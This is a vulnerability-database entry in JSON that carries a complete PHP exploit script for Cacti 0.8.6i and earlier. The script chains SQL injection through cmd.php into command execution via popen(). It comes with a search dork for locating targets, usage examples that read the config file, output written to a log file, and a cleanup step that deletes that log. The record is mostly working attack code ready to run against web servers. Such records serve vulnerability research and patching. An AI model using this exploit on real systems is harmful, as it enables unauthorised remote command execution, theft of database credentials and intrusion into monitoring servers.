DATABASE RESOURCES PRICING ABOUT US

{"href": "https://www.seebug.org/vuldb/ssvid-64367", "status": "poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "Cacti <= 0.8.6i cmd.php popen() Remote Injection Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-64367", "cvelist": [], "description": "No description provided by source.", "viewCount": 4, "published": "2014-07-01T00:00:00", "sourceData": "\n &#60;?php\r\nprint_r(&#39;\r\n--------------------------------------------------------------------------------\r\nCacti &#60;= 0.8.6i &#34;cmd.php&#34; popen() injection\r\nby rgod\r\ndork: intitle:&#34;login to cacti&#34;\r\nmail: retrog at alice dot it\r\nsite: http://retrogod.altervista.org\r\n--------------------------------------------------------------------------------\r\n&#39;);\r\n\r\nif ($argc&#60;4) {\r\n print_r(&#39;\r\n--------------------------------------------------------------------------------\r\nUsage: php &#39;.$argv[0].&#39; host path cmd OPTIONS\r\nhost: target server (ip/hostname)\r\npath: path to Cacti\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp &#39;.$argv[0].&#39; localhost /cacti/ ls -la -P1.1.1.1:80\r\nphp &#39;.$argv[0].&#39; localhost / cat ./include/config.php -p81\r\n--------------------------------------------------------------------------------\r\n&#39;);\r\n die;\r\n}\r\nerror_reporting(0);\r\nini_set(&#34;max_execution_time&#34;,0);\r\nini_set(&#34;default_socket_timeout&#34;,5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;\r\n for ($i=0; $i&#60;=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))\r\n {$result.=&#34; .&#34;;}\r\n else\r\n {$result.=&#34; &#34;.$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=&#34; &#34;.dechex(ord($string[$i]));}\r\n else\r\n {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.=&#34;\\r\\n&#34;; $exa.=&#34;\\r\\n&#34;;}\r\n }\r\n return $exa.&#34;\\r\\n&#34;.$result;\r\n}\r\n$proxy_regex = &#39;(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)&#39;;\r\n\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy==&#39;&#39;) {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo &#39;Not a valid proxy...&#39;;die;\r\n }\r\n $parts=explode(&#39;:&#39;,$proxy);\r\n echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\\r\\n&#34;;\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo &#39;No response from proxy...&#39;;die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy==&#39;&#39;) {\r\n $html=&#39;&#39;;\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html=&#39;&#39;;\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n}\r\n\r\n$host=$argv[1];\r\n$path=$argv[2];\r\n$port=80;\r\n$proxy=&#34;&#34;;\r\n$cmd=&#34;&#34;;\r\nfor ($i=3; $i&#60;$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp&#60;&#62;&#34;-p&#34;)\r\nand ($temp&#60;&#62;&#34;-P&#34;)\r\n) {$cmd.=&#34; &#34;.$argv[$i];}\r\nif ($temp==&#34;-p&#34;)\r\n{\r\n $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);\r\n}\r\nif ($temp==&#34;-P&#34;)\r\n{\r\n $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);\r\n}\r\n}\r\nif (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}\r\nif ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}\r\n\r\nfunction my_encode($my_string)\r\n{\r\n $encoded=&#34;CHAR(&#34;;\r\n for ($k=0; $k&#60;=strlen($my_string)-1; $k++)\r\n {\r\n $encoded.=ord($my_string[$k]);\r\n if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}\r\n else {$encoded.=&#34;,&#34;;}\r\n }\r\n return $encoded;\r\n}\r\n/*\r\nsoftware site: http://cacti.net/\r\n\r\nthe cmd.php is not properly protected:\r\n\r\n...\r\nif (!isset($_SERVER[&#34;argv&#34;][0])) {\r\n\tdie(&#34;&#60;br&#62;&#60;strong&#62;This script is only meant to run at the command line.&#60;/strong&#62;&#34;);\r\n}\r\n...\r\n\r\nif register_argc_argv = on, you can have web access, poc:\r\n\r\nhttp://[target]/[path]/cmd.php?1\r\n\r\nnow you can inject sql commands, ex. in this query:\r\n\r\n...\r\n\t\t\t$polling_items = db_fetch_assoc(&#34;SELECT * from poller_item &#34; .\r\n\t\t\t\t\t&#34;WHERE (host_id &#62;= &#34; .\r\n\t\t\t\t\t$_SERVER[&#34;argv&#34;][1] .\r\n\t\t\t\t\t&#34; and host_id &#60;= &#34; .\r\n\t\t\t\t\t$_SERVER[&#34;argv&#34;][2] . &#34;) ORDER by host_id&#34;);\r\n...\r\n\r\nand you can poison the $polling_items array that becomes like this:\r\n\r\nArray\r\n(\r\n [0] =&#62; Array\r\n (\r\n [local_data_id] =&#62; 2\r\n [poller_id] =&#62; 0\r\n [host_id] =&#62; 1\r\n [action] =&#62; 1\r\n [hostname] =&#62; 127.0.0.1\r\n [snmp_community] =&#62;\r\n [snmp_version] =&#62; 1\r\n [snmp_username] =&#62;\r\n [snmp_password] =&#62;\r\n [snmp_port] =&#62; 161\r\n [snmp_timeout] =&#62; 500\r\n [rrd_name] =&#62; proc\r\n [rrd_path] =&#62;\r\n [rrd_num] =&#62; 1\r\n [rrd_step] =&#62; 300\r\n [rrd_next_step] =&#62; 0\r\n [arg1] =&#62; [your command]\r\n [arg2] =&#62;\r\n [arg3] =&#62;\r\n )\r\n\r\n)\r\n\r\n$polling_items[arg1] is passed to a popen() call in /include/poller.php,\r\nsee exec_poll() function...\r\n\r\nyou do not have any output but you can redirect it to some file in /rra\r\nor /log folder which is &#39;cactiuser&#39;&#39;\r\n\r\n*/\r\n\r\n$command=my_encode($cmd.&#34; &#62; ./rra/suntzu.log&#34;);\r\n$h=my_encode(&#34;127.0.0.1&#34;);\r\n$pr=my_encode(&#34;proc&#34;);\r\n$sql=&#34;1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*&#34;;\r\n$packet =&#34;GET &#34;.$p.&#34;cmd.php?1+$sql+11111 HTTP/1.0\\r\\n&#34;;\r\n$packet.=&#34;Host: &#34;.$host.&#34;\\r\\n&#34;;\r\n$packet.=&#34;Connection: Close\\r\\n\\r\\n&#34;;\r\nsendpacketii($packet);\r\nsleep(2);\r\n\r\n$packet =&#34;GET &#34;.$p.&#34;rra/suntzu.log HTTP/1.0\\r\\n&#34;;\r\n$packet.=&#34;Host: &#34;.$host.&#34;\\r\\n&#34;;\r\n$packet.=&#34;Connection: Close\\r\\n\\r\\n&#34;;\r\nsendpacketii($packet);\r\necho $html;\r\n\r\n$command=my_encode(&#34;rm ./rra/suntzu.log&#34;);\r\n$sql=&#34;1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*&#34;;\r\n$packet =&#34;GET &#34;.$p.&#34;cmd.php?1+$sql+11111 HTTP/1.0\\r\\n&#34;;\r\n$packet.=&#34;Host: &#34;.$host.&#34;\\r\\n&#34;;\r\n$packet.=&#34;Connection: Close\\r\\n\\r\\n&#34;;\r\nsendpacketii($packet);\r\n\r\n?&#62;\r\n\r\n# milw0rm.com [2006-12-27]\r\n\n ", "id": "SSV:64367", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T15:11:13", "reporter": "Root", "enchantments": {"score": {"value": -0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.1}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645555709, "score": 1659785532}}

{}